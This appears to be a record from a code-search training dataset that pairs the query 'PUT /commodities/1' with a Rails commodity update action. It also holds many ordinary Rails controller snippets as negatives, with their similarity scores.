"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def comapny_params\n params.require(:comapny).permit(:name, :manager, :status, :terms)\n end",
"def create\n @territory = current_company.territories.build(params[:territory])\n if @territory.save\n respond_with(@territory)\n else\n respond_with(@territory, :status => :unprocessable_entity)\n end\n end",
"def create_division\n \t@division = @company.divisions.create(name: params[:division][:name])\n respond_to do |format|\n format.json { render json: @division }\n end\n end",
"def create\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n\n if @city.blank?\n render json: {error: \"Can't find your ship\"}, status: :unprocessable_entity and return\n elsif (@city.units.count >= @city.max_army_amount)\n render json: {error: \"Unit amount limit exceeded\"}, status: :unprocessable_entity and return\n end\n\n create_unit_by_type params[:unit_type], @city\n\n end",
"def create\n @carpool = Carpool.new(carpool_params)\n @carpool.user_id = current_user.id\n\n respond_to do |format|\n if @carpool.save\n format.html { redirect_to @carpool, notice: 'Carpool was successfully created.' }\n format.json { render :show, status: :created, location: @carpool }\n else\n format.html { render :new }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @companium = Companium.new(companium_params)\n\n respond_to do |format|\n if @companium.save\n format.html { redirect_to @companium, notice: 'Companium was successfully created.' }\n format.json { render :show, status: :created, location: @companium }\n else\n format.html { render :new }\n format.json { render json: @companium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @city = City.create(params[:city])\n get_data\n end",
"def create\n @expense = Expense.new(params[:expense])\n if params[:expense][:item_id].present?\n @expense.categorie_id = Item.find(params[:expense][:item_id]).categorie_id\n end\n @expense.dossier_id = params[:dossier]\n \n if params[:activite_id].present?\n @expense.activite_id = params[:activite_id]\n end\n \n @expense.save\n respond_to do |format|\n format.json { render :json => { :success => true, :message => \"Created Expense #{@expense.id}\", :data => @expense.attributes.merge(:total_ht => @expense.total, :total_ttc => @expense.total_ttc, :activite_name => @expense.activite.try(:description))}}\n end\n \n end",
"def expense_params\n params.require(:expense).permit(\n :direction,\n :title,\n :amount,\n :company,\n :facility,\n :expense_category_id,\n :expense_by_id,\n :expense_to_id,\n :expense_date,\n :created_by_id,\n :updated_by_id\n )\n end",
"def create\n @complexity = Complexity.new(params[:complexity])\n\n respond_to do |format|\n if @complexity.save\n format.html { redirect_to @complexity, notice: 'Complexity was successfully created.' }\n format.json { render json: @complexity, status: :created, location: @complexity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @complexity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :update, Carpool\n @carpool = Carpool.new(carpool_params)\n\n respond_to do |format|\n if @carpool.save\n format.html { redirect_to @carpool, notice: 'Carpool was successfully created.' }\n format.json { render :show, status: :created, location: @carpool }\n else\n format.html { render :new }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def room_params\n params.require(:room).permit(:price, :capacity, :availability, :services)\n end",
"def create\n begin\n \n detail = @@data_util.hash_data_to_upper_case( params[:company], ['description'])\n\n detail[:mypclient_id] = session[:client_id]\n detail[:createdby] = session[:username]\n detail[:isactive] = 1\n\n @company = Company.new(detail)\n if @company.save\n @@request_result[:success] = true\n @@request_result[:notice] = 'New company successfully created.'\n else\n @@request_result[:errormsg] = @company.errors.full_messages[0]\n end\n rescue Exception => e\n @@request_result[:errormsg] = e.message\n end\n render json: @@request_result\n end",
"def carpool_params\n params.require(:carpool).permit(:amount, :desc, :date, :routes, :tag_list, :from, :to)\n end",
"def equipment_params\n params.require(:equipment).permit(\n :serial_number,\n :inspection_cycle_month,\n :inspection_contract,\n :start_date,\n :system_model_id,\n :place_id,\n :branch_id,\n :service_id\n )\n end",
"def create\n @equipment = Equipment.new(equipment_params)\n\n respond_to do |format|\n if @equipment.save\n format.html { redirect_to @equipment, notice: 'Equipment was successfully created.' }\n format.json { render :show, status: :created, location: @equipment }\n else\n format.html { render :new }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cargo = Cargo.new(cargo_params)\n if @cargo.save\n render json: @cargo\n else\n render json: @cargo.errors, status: :unprocessable_entity\n end\n end",
"def create\n dish = Dish.where(name: params[:name]).first\n dish ||= Dish.create(name: params[:name], party: current_party, price: params[:price])\n\n OrderItem.create(user: current_user, dish: dish)\n\n render json: { :name => dish.name, :price => dish.price, :participants => [current_user.login] }\n end",
"def territory_params\n params.require(:territory).permit(:name, :description, :city, :responsible_id)\n end",
"def create\n @power_order = PowerOrder.new(power_order_params)\n @power_order.save\n render json: @power_order\n end",
"def create\n @mostsmallitemequipinventory = Mostsmallitemequipinventory.new(params[:mostsmallitemequipinventory])\n\n respond_to do |format|\n if @mostsmallitemequipinventory.save\n format.html { redirect_to @mostsmallitemequipinventory, notice: 'Mostsmallitemequipinventory was successfully created.' }\n format.json { render json: @mostsmallitemequipinventory, status: :created, location: @mostsmallitemequipinventory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mostsmallitemequipinventory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @contract = Contract.new(contract_params)\n @contract.daily_premium_prices.push(params[:daily_premium_prices])\n\n respond_to do |format|\n if @contract.save\n # format.html { redirect_to @contract, notice: 'Contract was successfully created.' }\n format.json { render :show, status: :created, location: @contract }\n else\n format.html { render :new }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @equipment_tire = EquipmentTire.new(equipment_tire_params)\n\n respond_to do |format|\n if @equipment_tire.save\n format.html { redirect_to @equipment_tire, notice: 'Equipment tire was successfully created.' }\n format.json { render :show, status: :created, location: @equipment_tire }\n else\n format.html { render :new }\n format.json { render json: @equipment_tire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @jetties = Jetty.order(:name)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end",
"def fuel_price_params\n params.require(:fuel_price).permit(:type, :price)\n end",
"def create\n @opportunity = Opportunity.new(params[:opportunity])\n\n respond_to do |format|\n if @opportunity.save\n format.html { redirect_to @opportunity, notice: 'Opportunity was successfully created.' }\n format.json { render json: @opportunity, status: :created, location: @opportunity }\n else\n @supplier_accounts = SupplierAccount.approved.order 'fantasy_name'\n \n format.html { render action: \"new\" }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parking_area_params\n params.require(:parking_area).permit(:capacity)\n end",
"def fuel_supply_params\n params.require(:fuel_supply).permit(:date_supply, :quantity, :price, :vehicle_id)\n end",
"def create\n @laboratory = Laboratory.new(laboratory_params)\n if @laboratory.save\n render json: @laboratory, status: :created\n else\n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"def expense_params\n params.require(:expense).permit(:item1, :item2, :item3, :item4, :item5, :item6, :item7, :item8, :item9, :item10, :cost1, :cost2, :cost3, :cost4, :cost5, :cost6, :cost7, :cost8, :cost9, :cost10, :year, :yearend, :yeartotal, :buildinginfo)\n end",
"def create\n @company = Company.new(nested_params)\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def opportunity_params\n params.require(:opportunity).permit(:company, :job_title, :description, :salary, :location, :interest_level, :date_applied, :last_contact, :user_id)\n end",
"def create\n @comite = Comite.new(comite_params)\n\n respond_to do |format|\n if @comite.save\n format.html { redirect_to @comite, notice: 'Comite was successfully created.' }\n format.json { render :show, status: :created, location: @comite }\n else\n format.html { render :new }\n format.json { render json: @comite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n items = params[:items]\n filtered_items = []\n items.each do |item|\n item[:quantity].times do |order|\n filtered_items << {\"apiKey\" => item[:item_api], \"customizationChoices\" => [], \"comments\" => item[:instruction]}\n end\n end\n token = ENV[\"REACT_APP_EAT_STREET_TOKEN\"]\n uri = URI.parse(\"https://api.eatstreet.com/publicapi/v1/send-order\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"X-Access-Token\"] = token\n request.body = JSON.dump({\n \"restaurantApiKey\" => processing_params[:restaurant_api_key],\n \"items\" => filtered_items,\n \"method\" => \"delivery\",\n \"payment\" => \"cash\",\n \"test\" => false,\n \"comments\" => processing_params[:comments],\n \"card\" => {\n \"apiKey\" => nil\n },\n \"address\" => {\n \"apiKey\" => nil,\n \"streetAddress\" => processing_params[:address],\n \"latitude\" => processing_params[:latitude],\n \"longitude\" => processing_params[:longitude]\n },\n \"recipient\" => {\n \"apiKey\" => nil,\n \"firstName\" => processing_params[:username],\n \"lastName\" => processing_params[:username],\n \"phone\" => processing_params[:phone],\n 'email' => processing_params[:email]\n }\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n message = ''\n if response.code == 200\n message = {error: false, details: 'You Order Has Been Processed'}\n items.each do |item|\n order = Order.find(item[:id])\n order.ordered = true\n end\n\n else\n message = response.body\n end\n\n render json: message\n end",
"def create\n @dexterity_mod = DexterityMod.new(dexterity_mod_params)\n\n if @dexterity_mod.save\n render json: @dexterity_mod, status: :created, location: @dexterity_mod\n else\n render json: @dexterity_mod.errors, status: :unprocessable_entity\n end\n end",
"def equipment_params\n params.require(:equipment).permit(:name, :year, :color, :brand_id, :package_id, :description, :publication_type, :precio, :modelo, :currency_id , :country_id, :state_id, :ciudad, :category_id, :etiquetas, :user_id, :subcategory_id)\n end",
"def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end",
"def create\n # создать новую заявку на канцелярию\n @stationeryrequest = Stationeryrequest.new\n # инициализировать значения полей заявки\n @stationeryrequest.status = 0\n @stationeryrequest.employee_id = session[:employee_id].to_i\n @stationeryrequest.save\n if(params[:selected_items] && params[:numbers])\n @selected_items = params[:selected_items]\n @numbers = params[:numbers]\n @selected_items.each do |item|\n @hotelsuppliesrequest = Hotelsuppliesrequest.new\n @hotelsuppliesrequest.stationeryrequest_id = @stationeryrequest.id\n @hotelsuppliesrequest.hotelsupply_id = item\n @hotelsuppliesrequest.num = @numbers[item]\n @hotelsuppliesrequest.save\n end\n end\n\n respond_to do |format|\n if true\n format.html { redirect_to '/stationeryrequests', notice: 'Stationeryrequest was successfully created.' }\n format.json { render json: @stationeryrequest, status: :created, location: @stationeryrequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stationeryrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n if @expense.save\n if !params[:expense_category].blank?\n category = ExpenseCategory.find_by name: params[:expense_category]\n if !category.nil?\n @expense.update(expense_category: category)\n if params[:expense_category] == \"Diesel\"\n company = DieselCompany.find(params[:diesel_company])\n DieselExpense.create! expense: @expense, diesel_company: company, litres: @expense.quantity\n end\n end\n # cash = Cash.today.first\n # cash.update(amount_out: (cash.amount_out + @expense.amount), balance: (cash.balance - @expense.amount))\n end\n format.html { redirect_to expenses_path, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @employee_productivity = EmployeeProductivity.new(employee_productivity_params)\n\n respond_to do |format|\n if @employee_productivity.save\n format.html { redirect_to @employee_productivity, notice: 'Employee productivity was successfully created.' }\n format.json { render :show, status: :created, location: @employee_productivity }\n else\n format.html { render :new }\n format.json { render json: @employee_productivity.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.70077825",
"0.6577053",
"0.64613676",
"0.6373147",
"0.6214883",
"0.6214883",
"0.6092892",
"0.6036907",
"0.5939506",
"0.58917487",
"0.58812815",
"0.5603079",
"0.5579009",
"0.5560071",
"0.55228204",
"0.5505408",
"0.54937017",
"0.54700327",
"0.54653186",
"0.5463377",
"0.5446629",
"0.54376364",
"0.54376364",
"0.54157156",
"0.5413969",
"0.5398329",
"0.5395525",
"0.5392087",
"0.53903544",
"0.53852636",
"0.53794837",
"0.53523004",
"0.53523004",
"0.5344952",
"0.53293675",
"0.5327213",
"0.5309563",
"0.5298933",
"0.5276526",
"0.5270666",
"0.5262215",
"0.52461153",
"0.52391756",
"0.52240735",
"0.5193604",
"0.51926726",
"0.518827",
"0.51748604",
"0.5172252",
"0.51622254",
"0.51615065",
"0.51533353",
"0.5151526",
"0.51409554",
"0.513125",
"0.51119655",
"0.51075464",
"0.50956374",
"0.5089268",
"0.5081466",
"0.5074855",
"0.5070046",
"0.5069466",
"0.5063229",
"0.50543475",
"0.5049266",
"0.50448656",
"0.5035672",
"0.5030173",
"0.5024906",
"0.5011587",
"0.50022376",
"0.5001674",
"0.49887815",
"0.49843982",
"0.49794713",
"0.49790347",
"0.49757537",
"0.49755707",
"0.49741802",
"0.49737906",
"0.49733543",
"0.4961208",
"0.49608305",
"0.4959533",
"0.49586603",
"0.49567494",
"0.4953482",
"0.49517822",
"0.4949581",
"0.49411508",
"0.49402758",
"0.49397618",
"0.49334857",
"0.49315268",
"0.49314556",
"0.49312863",
"0.49311438",
"0.49291784",
"0.4919692"
] | 0.7094458 | 0 |
PUT /commodities/1 PUT /commodities/1.json | def update
@commodity = Commodity.find(params[:id])
respond_to do |format|
if @commodity.update_attributes(commodity_params)
format.html { redirect_to commodities_url, notice: 'Commodity was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @commodity.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(params[:commodity])\n format.html { redirect_to @commodity, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_commodity\n @commodity = Commodity.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @commodity.update(commodity_params)\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :ok, location: @commodity }\n else\n format.html { render :edit }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def commodity_params\n params.require(:commodity).permit(:name, :code, :commodity_type_id, :bar_code, :specification, :unit, :cost, :sale, :low_stock, :high_stock)\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.num = 0\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully canceled.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n end\n end\n end",
"def update\n @carpool = Carpool.find(params[:id])\n\n respond_to do |format|\n if @carpool.update_attributes(params[:carpool])\n format.html { redirect_to @carpool, notice: 'Carpool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opportunity = Opportunity.find(params[:id])\n\n if @opportunity.update(opportunity_params)\n head :no_content\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :created, location: @commodity }\n else\n format.html { render :new }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params)\n # TODO: API expects both priority and branchcode to update branch, bug in Koha module C4::Reserves::ModReserve\n raise ArgumentError, \"need both priority and branchcode params!\" unless params[:priority] && params[:branchcode]\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(\"#{intranet(:koha_rest_api)}holds/#{params[:reserve_id]}\")\n res = http.put(uri, params.to_json, headers)\n expect(res.code).to eq(\"200\"), \"got unexpected #{res.code} when updating reserve.\\nResponse body: #{res.body}\"\n res.body\n end",
"def update\n @data = return_all_details(company_params[:places_id])\n respond_to do |format|\n if @company.update(company_params)\n @company.update(rating: @data[\"result\"][\"rating\"])\n @company.update(phone_number: @data[\"result\"][\"formatted_phone_number\"])\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dispense_commodity\n @commodity.new\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def update\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n respond_to do |format|\n if @dispense.update(dispense_params)\n format.html { redirect_to @dispense, notice: 'Dispense was successfully updated.' }\n format.json { render :show, status: :ok, location: @dispense }\n else\n format.html { render :edit }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_accommodation_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccommodationApi.update_accommodation ...\"\n end\n # verify the required parameter 'id' is set\n fail ArgumentError, \"Missing the required parameter 'id' when calling AccommodationApi.update_accommodation\" if id.nil?\n # resource path\n local_var_path = \"/accommodation/edit\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = id\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'capacity'] = opts[:'capacity'] if !opts[:'capacity'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse200')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccommodationApi#update_accommodation\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @carpool.update(carpool_params)\n format.html { redirect_to @carpool, notice: 'Carpool was successfully updated.' }\n format.json { render :show, status: :ok, location: @carpool }\n else\n format.html { render :edit }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def update\n @company = Company.find(company_params[:id])\n\n if @company.update(company_params)\n head :no_content\n else\n render json: @company.errors, status: :unprocessable_entity\n end\n end",
"def update\n\n @company = Company.find(1)\n @puntos = @company.get_puntos()\n @employees = @company.get_employees2() \n@trucks = @company.get_trucks\n\n respond_to do |format|\n if @cout.update(cout_params)\n format.html { redirect_to @cout, notice: 'Cout was successfully updated.' }\n format.json { render :show, status: :ok, location: @cout }\n else\n format.html { render :edit }\n format.json { render json: @cout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equity.update(equity_params)\n format.html { redirect_to @equity, notice: 'Equity was successfully updated.' }\n format.json { render :show, status: :ok, location: @equity }\n else\n format.html { render :edit }\n format.json { render json: @equity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @commodities = Commodity.all\n\n respond_to do |format|\n format.html # index.html.erb\n @commoditis = Array.new\n format.json {\n @commodities = @commodities.select{|commodity|\n commoditi = Hash.new\n commodity.attributes.each do |key, value|\n commoditi[key] = value\n end\n commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),\n commodity_path(commodity))\n @commoditis.push(commoditi)\n }\n render json: {:aaData => @commoditis}\n }\n end\n end",
"def update\n if(params[:id]==\"0\")\n accommodations=[]\n params[:accommodation].each_pair do |k,v|\n accommodations.push(Accommodation.find(k))\n end\n respond_to do |format|\n if accommodations.all? { |a| a.update_attributes(params[:accommodation][a.id.to_s]) }\n flash[:notice] = 'Accommodations were successfully updated.'\n format.html { redirect_to yacht_accommodations_path } \n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accommodation.errors, :status => :unprocessable_entity }\n end\n end\n else\t\n @accommodation = Accommodation.find(params[:id])\n\n respond_to do |format|\n if @accommodation.update_attributes(params[:accommodation])\n flash[:notice] = 'Accommodation was successfully updated.'\n format.html { redirect_to yacht_accommodation_path(@accommodation.yacht.id, @accommodation.id) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accommodation.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def set_ideal_stock_of(commodity, ideal)\n id = commodity_id(commodity)\n @ideal_stock[id] = ideal\n @stock[id] = ideal\n end",
"def update\n @company = Company.friendly.find(params[:id])\n\n @company.companytype_id = params[:companytype_id]\n\n\n\n respond_to do |format|\n\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @commodity = Commodity.new\n old_commodity = Commodity.find(params[:id]) if params[:id]\n if old_commodity\n @commodity.name = old_commodity.name\n @commodity.desc = old_commodity.desc\n @commodity.price = old_commodity.price\n @category = old_commodity.categories.first\n end\n @category = Category.first\n if @category == nil\n redirect_to commodities_path\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end\n end",
"def update\n authorize! :update, Carpool\n respond_to do |format|\n if @carpool.update(carpool_params) \n format.html { redirect_to @carpool, notice: 'Carpool was successfully updated.' }\n format.json { render :show, status: :ok, location: @carpool }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"def update\n @equipo = Equipo.find params[:id]\n if @equipo.update(equipo_params)\n render :show, status: :ok, location: @equipo\n else\n render json: @equipo.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @oportunity.update(oportunity_params)\n format.html { redirect_to @oportunity, notice: 'Oportunity was successfully updated.' }\n format.json { render :show, status: :ok, location: @oportunity }\n else\n format.html { render :edit }\n format.json { render json: @oportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"def tl_update_company_textfield_from_office\n office = params[:id]\n @company = 0\n if office != '0'\n @office = Office.find(office)\n @company = @office.blank? ? 0 : @office.company\n end\n render json: @company\n end",
"def update\n @territory = current_company.territories.find(params[:id])\n\n # hack to determine new and deleted regions\n adjust_region_ids\n adjust_zipcode_ids\n\n if @territory.update_attributes(params[:territory])\n respond_with(@territory)\n else\n respond_with(@territory, :status => :unprocessable_entity)\n end\n end",
"def show\n @categories = Category.all\n @commodity = Commodity.find(params[:id])\n @comment = Comment.new\n @comment.commodity = @commodity\n @order = Order.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def update\n @disponible = Disponible.find(params[:id])\n\n if @disponible.update(disponible_params)\n head :no_content\n else\n render json: @disponible.errors, status: :unprocessable_entity\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n @company.infos.each do |i|\n\t i.value = params[i.key]\n\t i.save\n end\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, notice: 'Company successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @fuel_supply\n respond_to do |format|\n if @fuel_supply.update(fuel_supply_params)\n format.html { redirect_to @fuel_supply, notice: 'Fuel supply was successfully updated.' }\n format.json { render :show, status: :ok, location: @fuel_supply }\n else\n format.html { render :edit }\n format.json { render json: @fuel_supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @accommodation.update(accommodation_params)\n format.html { redirect_to @accommodation, notice: 'Accommodation was successfully updated.' }\n format.json { render :show, status: :ok, location: @accommodation }\n else\n format.html { render :edit }\n format.json { render json: @accommodation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @competency.update(competency_params)\n respond_to do |format|\n if @competency.save\n format.json { render :show, status: :ok, location: @competency }\n else\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opportunity = Opportunity.find(params[:id])\n\n respond_to do |format|\n if @opportunity.update_attributes(params[:opportunity])\n format.html { redirect_to @opportunity, notice: 'Opportunity was successfully updated.' }\n format.json { head :ok }\n else\n @supplier_accounts = SupplierAccount.approved.order 'fantasy_name'\n \n format.html { render action: \"edit\" }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asset.update(price: params[:asset][:price])\n json_response(@asset,:created)\n end",
"def update\n @power_order.update(power_order_params)\n render json: @power_order\n end",
"def update\n @inventory = Inventory.find(params[:id])\n @inventory.subtotal = (params[:inventory][:qty].to_f*@inventory.unit_price) if params[:inventory][:qty].present?\n if @inventory.update_attributes(params[:inventory])\n @inventories = current_company.inventories\n response_message = {:message => \"Item was updated successfully.\", :inventory => @inventory}\n else\n response_message = {:message => \"Please try again\"}\n end\n respond_to do |format|\n format.xml{render :xml => response_message }\n format.json{ render :json => response_message }\n end\n end",
"def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @catalog_item.update(name: params[:name], description: params[:description])\n format.json { render json: @catalog_item }\n end\n end\n end",
"def update\n @prices = Price.all\n @strains = Strain.all\n @regions = Region.all\n respond_to do |format|\n if @price.update(price_params)\n format.html { redirect_to \"/\", notice: 'Price was successfully updated.' }\n format.json { render :show, status: :ok, location: @price }\n else\n format.html { render :edit }\n format.json { render json: @price.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @companium.update(companium_params)\n format.html { redirect_to @companium, notice: 'Companium was successfully updated.' }\n format.json { render :show, status: :ok, location: @companium }\n else\n format.html { render :edit }\n format.json { render json: @companium.errors, status: :unprocessable_entity }\n end\n end\n end",
